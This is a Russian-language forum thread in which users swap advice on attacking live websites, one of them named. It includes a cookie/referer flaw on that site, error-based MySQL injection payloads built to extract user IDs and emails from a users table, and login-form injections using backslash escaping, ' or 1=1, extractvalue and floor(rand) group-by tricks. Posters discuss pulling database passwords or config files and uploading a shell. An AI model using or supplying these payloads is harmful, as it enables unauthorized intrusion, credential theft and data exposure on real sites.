Нашёл на этом сайте _http://agixo.ru/ уязвимость в куках прохожу по ссылке http://agixo.ru/1-reg.html реферер админ смотрим куки referer 1 запускаем оперу меняем 1 на к перехожу по ссылке уже такой http://agixo.ru/reg.html смотрим Ник, ID, Предустановленый реф-бек: % все исчезла. Что можно сделать с этой уязвимостью можно ли провести sql инвекцию я с уязвимостями в куках ещё не сталкивался
Вобщем делаю sql запрос: site.ru/?file=2+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,s_Users.Id,0x27,0x7e)+from+`base_1`.s_Users+Order+by+Id+limit+0,1)+)+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+1=1 На что мне благополучно выдает Duplicate entry '~'1'~1' for key 'group_key'. т.е выдает нужны резульат. Делаем еще один запрос: site.ru/?file=2+and(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,s_Users.Email,0x27,0x7e)+from+`base_1`.s_Users+Order+by+Id+limit+0,1)+)+from+`information_schema`.tables+limit+0,1),floor(rand(0)*2))x+from+`information_schema`.tables+group+by+x)a)+and+1=1 На что мне выдает: Subquery returns more than 1 row - чертов лимин((( Подскажите, как выполнить второй запрос - чтобы избежать лимита.
У тебя лишнее Code: +from+`information_schema`.tables+limit+0,1 Возьми шаблон, и переделай под свой запрос Code: (select 1 from(select count(*),concat((select table_name from information_schema.tables order by schema_name limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a) ?file=2+and(select 1 from(select count(*),concat((select table_name from information_schema.tables order by schema_name limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and 1=1 p.s. результат подзапроса должен быть - одна строка.
В общем есть сайт, на нем login.php При пост запросе: Head Host: сайт.нет Content-Type: application/x-www-form-urlencoded post login=1&password=%5c Выдает следующее Раскрутить скулю не поможете? Не знаю что дальше делать)
Если кавычки фильтруются и в имени то-же самое, то тогда так: Code: Имя пользователя: [COLOR=Red]\[/COLOR] Пароль: [COLOR=Red]union select .... -- 1[/COLOR]
При таком запросе ничего не происходит( login=\&password=union select .... -- 1 /а во! вставил в поля и что дальше?(
Почитать фак. Но если уж ооочень не хочется, то вместо точек, тебе надо было подставить свой запрос, а точнее начать выяснять количество колонок в таблице.
Нет, это потому что на конце логина дописался слеш ,я его не заметил, такого пользователя естественно нет в базе. Хотя ещё не совсем понятно, как там с ковычками обстоят дела login=admin&password=' or 1=1 -- t Вполне может сработать.
Если на \, реагирует то весь участков, вплоть до пароля можно выставить как логин. login=admin\&password= or extractvalue(1,concat(0x3b, user())) -- t
Если и прокатит, то можно с юнионом поиграться, если нет - login=admin\&password= or(select 11 from information_schema.tables group by concat(user(),0x3b,version(),floor(rand(0)*2)) having count(*)) -- t
Зачем мне логин и айпи с локалхоста) Нужно либо получить название/пароли из бд либо конфиг с php файла на самом сайте
Потому что ты неправильно используешь error base sqlinj http://clip.corp.mail.ru/clip/m517/1380812270-clip-20kb-fvNTIqJO3gz2.png Вот ты использовал и выбрал user(), под которым скрипт получает доступ в базу, тебе он и отобразился. Причём юзер рутовый. Вместо user() и подставляй свои операции по выборке из базы. Не вариант, потому что чтобы прогрузить шелл - надо чтобы кавычки не фильтровались. Ты хотя бы читай и анализируй что ты делаешь. В примере, что тебе дали у тебя стоит после select +, который не преобразовался в пробел, замени его.